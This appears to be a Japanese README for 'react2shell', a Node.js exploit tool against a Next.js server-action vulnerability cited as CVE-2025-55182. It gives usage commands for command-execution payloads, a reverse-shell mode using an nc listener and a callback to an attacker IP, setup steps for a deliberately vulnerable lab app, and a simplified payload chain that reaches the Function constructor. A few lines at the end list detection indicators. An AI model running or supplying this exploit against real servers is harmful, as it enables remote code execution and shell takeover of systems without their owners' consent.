# このリポジトリをクローンまたはダウンロード
git clone https://github.com/zr0n/react2shell
cd react2shell

# 依存関係をインストール
npm install form-data

node react2shell.js <target_url> <payload_type> [options]

node react2shell.js http://localhost:3000 basic
# サーバーコンソールで出力を確認: EXPLOITED: 50

# 現在のユーザーを取得
node react2shell.js http://localhost:3000 whoami

# ファイルを一覧表示
node react2shell.js http://localhost:3000 dir

# システム情報
node react2shell.js http://localhost:3000 systeminfo

# 電卓を起動
node react2shell.js http://localhost:3000 calc

# メモ帳を起動
node react2shell.js http://localhost:3000 notepad

node react2shell.js http://localhost:3000 file
# サーバーディレクトリで EXPLOITED.txt を確認

# 端末1: リスナーを起動
nc -lvnp 4444

# 端末2: エクスプロイトを実行
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444

# Windows (PowerShell) および Linux (Bash) の両方で動作

# プロジェクトディレクトリを作成
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app

# 脆弱なバージョンで Next.js を初期化
npx create-next-app@latest . --ts --app --no-eslint --tailwind

# 脆弱なバージョンにダウングレード
npm install [email protected]

# 依存関係をインストール
npm install

export default function Home() {
  return (
    <div className="p-8">
      <h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
      <p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
    </div>
  );
}

npm run dev
# サーバーは http://localhost:3000 で起動

// 簡略化された脆弱性チェーン
{
  _formData: {
    get: '$3:constructor:constructor' // Function コンストラクタへのアクセス
  },
  _prefix: 'YOUR_CODE_HERE//' // 注入されたコード
}

POST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (成功したエクスプロイト) または 500 (失敗)